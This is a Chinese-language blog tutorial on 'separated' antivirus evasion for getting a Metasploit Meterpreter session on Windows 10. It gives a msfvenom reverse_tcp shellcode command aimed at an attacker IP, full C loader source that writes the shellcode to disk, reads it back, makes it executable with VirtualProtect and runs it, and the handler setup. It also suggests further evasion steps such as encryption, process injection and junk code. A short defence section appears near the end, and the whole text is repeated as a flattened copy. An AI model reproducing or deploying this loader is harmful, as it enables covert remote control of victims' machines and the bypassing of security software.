记一次分离免杀上线msf
字数 1558 2025-08-07 08:22:18

分离免杀上线MSF技术详解

0x00 前言

本文详细讲解如何通过分离shellcode和加载器(loader)的方式绕过杀毒软件(如火绒、安全卫士)的检测,成功上线Metasploit框架(MSF)。这种方法的核心思想是将恶意代码的执行过程分为两个阶段,从而规避传统杀软的静态检测。

0x01 环境准备

  • 攻击机: Kali Linux (IP: 192.168.1.14)
  • 受害者机: Windows 10
  • 开发环境: Visual Studio 2022
  • 工具: msfvenom (Metasploit payload生成器)

0x02 生成Shellcode

使用msfvenom生成反向TCP连接的shellcode:

msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' lhost=192.168.1.14 lport=6666 -f c

参数说明:

  • -p windows/meterpreter/reverse_tcp: 指定payload类型为Windows反向TCP Meterpreter
  • -b '\x00': 避免在shellcode中出现空字节(\x00)
  • lhost: 指定攻击机IP
  • lport: 指定监听端口
  • -f c: 输出格式为C语言数组

0x03 加载器(Loader)代码实现

完整代码

#include <stdio.h>
#include <windows.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

char buf[] = 
"\xbd\xaa\x9d\x4d..."; // 此处替换为实际生成的shellcode

int main()
{
    // 将shellcode写入文件
    FILE* fp1 = fopen("new.txt", "wb");
    fprintf(fp1, buf);
    fclose(fp1);

    // 从文件读取shellcode
    FILE* fp = fopen("new.txt", "rb");
    fseek(fp, 0, SEEK_END);
    char* ptr = (char*)malloc(sizeof(buf));
    int size = ftell(fp);
    rewind(fp);
    memset(ptr, 0, sizeof(buf));
    fread(ptr, sizeof(buf), 1, fp); 

    // 准备执行shellcode
    char* start = (char*)malloc(sizeof(buf));
    memset(start, 0, sizeof(buf));
    memcpy(start, ptr, sizeof(buf));
    
    // 修改内存属性为可执行
    DWORD i = 0;
    VirtualProtect(start, sizeof(buf), PAGE_EXECUTE_READWRITE, &i);
    
    // 执行shellcode
    ((char(*)())start)();
}

代码详解

  1. 隐藏控制台窗口:

    #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
    

    这行代码用于隐藏控制台程序运行时弹出的黑框。

  2. shellcode存储:

    char buf[] = "\xbd\xaa...";
    

    存储生成的shellcode,虽然代码中包含shellcode,但不会直接执行它。

  3. 文件操作部分:

    • 将shellcode写入文件new.txt
    • 从文件读取shellcode到内存
  4. 内存操作关键步骤:

    • malloc分配内存空间
    • memset初始化内存
    • memcpy复制shellcode到新分配的内存
    • VirtualProtect修改内存属性为可执行(PAGE_EXECUTE_READWRITE)
  5. 执行shellcode:

    ((char(*)())start)();
    

    使用函数指针执行内存中的shellcode。

0x04 免杀原理分析

这种方法的免杀效果主要来自以下几个方面:

  1. 分离式加载:

    • shellcode存储在文件中而非直接嵌入可执行文件
    • 运行时动态加载,规避静态扫描
  2. 间接执行:

    • 代码中虽然包含shellcode,但只是将其写入文件
    • 实际执行的是从文件读取的内容
  3. 内存属性修改:

    • 使用VirtualProtect动态修改内存属性
    • 规避了基于内存保护的检测
  4. 无特征函数调用:

    • 使用函数指针而非直接调用可疑API

0x05 测试流程

  1. 编译生成可执行文件:

    • 使用Visual Studio 2022编译上述代码
    • 注意架构匹配(x86或x64)
  2. 设置MSF监听:

    msfconsole
    use exploit/multi/handler
    set lhost 192.168.1.14
    set lport 6666
    run
    
  3. 执行测试:

    • 在目标机器上运行编译后的程序
    • 检查MSF是否成功建立会话

0x06 技术总结

整个技术流程可分为以下步骤:

  1. 将shellcode写入文件
  2. 从文件读取shellcode
  3. 分配内存空间
  4. 把shellcode复制到申请的内存中
  5. 更改内存属性为可执行
  6. 通过函数指针执行shellcode

0x07 防御建议

针对此类攻击,防御方可以采取以下措施:

  1. 行为监控:

    • 监控进程的内存属性修改行为
    • 检测可疑的文件读写操作
  2. 内存扫描:

    • 实时扫描进程内存中的shellcode特征
  3. 权限控制:

    • 限制应用程序的内存执行权限
    • 启用DEP(数据执行保护)
  4. 日志分析:

    • 记录异常的文件创建和内存操作

0x08 扩展思考

  1. 进阶免杀技术:

    • 对shellcode进行加密/编码
    • 使用更隐蔽的文件存储方式
    • 实现进程注入而非直接执行
  2. 检测规避:

    • 添加垃圾代码干扰分析
    • 使用合法API实现类似功能
  3. 跨平台实现:

    • 研究Linux/macOS下的类似技术

通过深入理解这种分离式加载技术的原理,无论是攻击方还是防御方都能更好地应对现代恶意软件的挑战。

分离免杀上线MSF技术详解 0x00 前言 本文详细讲解如何通过分离shellcode和加载器(loader)的方式绕过杀毒软件(如火绒、安全卫士)的检测,成功上线Metasploit框架(MSF)。这种方法的核心思想是将恶意代码的执行过程分为两个阶段,从而规避传统杀软的静态检测。 0x01 环境准备 攻击机 : Kali Linux (IP: 192.168.1.14) 受害者机 : Windows 10 开发环境 : Visual Studio 2022 工具 : msfvenom (Metasploit payload生成器) 0x02 生成Shellcode 使用msfvenom生成反向TCP连接的shellcode: 参数说明: -p windows/meterpreter/reverse_tcp : 指定payload类型为Windows反向TCP Meterpreter -b '\x00' : 避免在shellcode中出现空字节(\x00) lhost : 指定攻击机IP lport : 指定监听端口 -f c : 输出格式为C语言数组 0x03 加载器(Loader)代码实现 完整代码 代码详解 隐藏控制台窗口 : 这行代码用于隐藏控制台程序运行时弹出的黑框。 shellcode存储 : 存储生成的shellcode,虽然代码中包含shellcode,但不会直接执行它。 文件操作部分 : 将shellcode写入文件 new.txt 从文件读取shellcode到内存 内存操作关键步骤 : malloc 分配内存空间 memset 初始化内存 memcpy 复制shellcode到新分配的内存 VirtualProtect 修改内存属性为可执行(PAGE_ EXECUTE_ READWRITE) 执行shellcode : 使用函数指针执行内存中的shellcode。 0x04 免杀原理分析 这种方法的免杀效果主要来自以下几个方面: 分离式加载 : shellcode存储在文件中而非直接嵌入可执行文件 运行时动态加载,规避静态扫描 间接执行 : 代码中虽然包含shellcode,但只是将其写入文件 实际执行的是从文件读取的内容 内存属性修改 : 使用 VirtualProtect 动态修改内存属性 规避了基于内存保护的检测 无特征函数调用 : 使用函数指针而非直接调用可疑API 0x05 测试流程 编译生成可执行文件 : 使用Visual Studio 2022编译上述代码 注意架构匹配(x86或x64) 设置MSF监听 : 执行测试 : 在目标机器上运行编译后的程序 检查MSF是否成功建立会话 0x06 技术总结 整个技术流程可分为以下步骤: 将shellcode写入文件 从文件读取shellcode 分配内存空间 把shellcode复制到申请的内存中 更改内存属性为可执行 通过函数指针执行shellcode 0x07 防御建议 针对此类攻击,防御方可以采取以下措施: 行为监控 : 监控进程的内存属性修改行为 检测可疑的文件读写操作 内存扫描 : 实时扫描进程内存中的shellcode特征 权限控制 : 限制应用程序的内存执行权限 启用DEP(数据执行保护) 日志分析 : 记录异常的文件创建和内存操作 0x08 扩展思考 进阶免杀技术 : 对shellcode进行加密/编码 使用更隐蔽的文件存储方式 实现进程注入而非直接执行 检测规避 : 添加垃圾代码干扰分析 使用合法API实现类似功能 跨平台实现 : 研究Linux/macOS下的类似技术 通过深入理解这种分离式加载技术的原理,无论是攻击方还是防御方都能更好地应对现代恶意软件的挑战。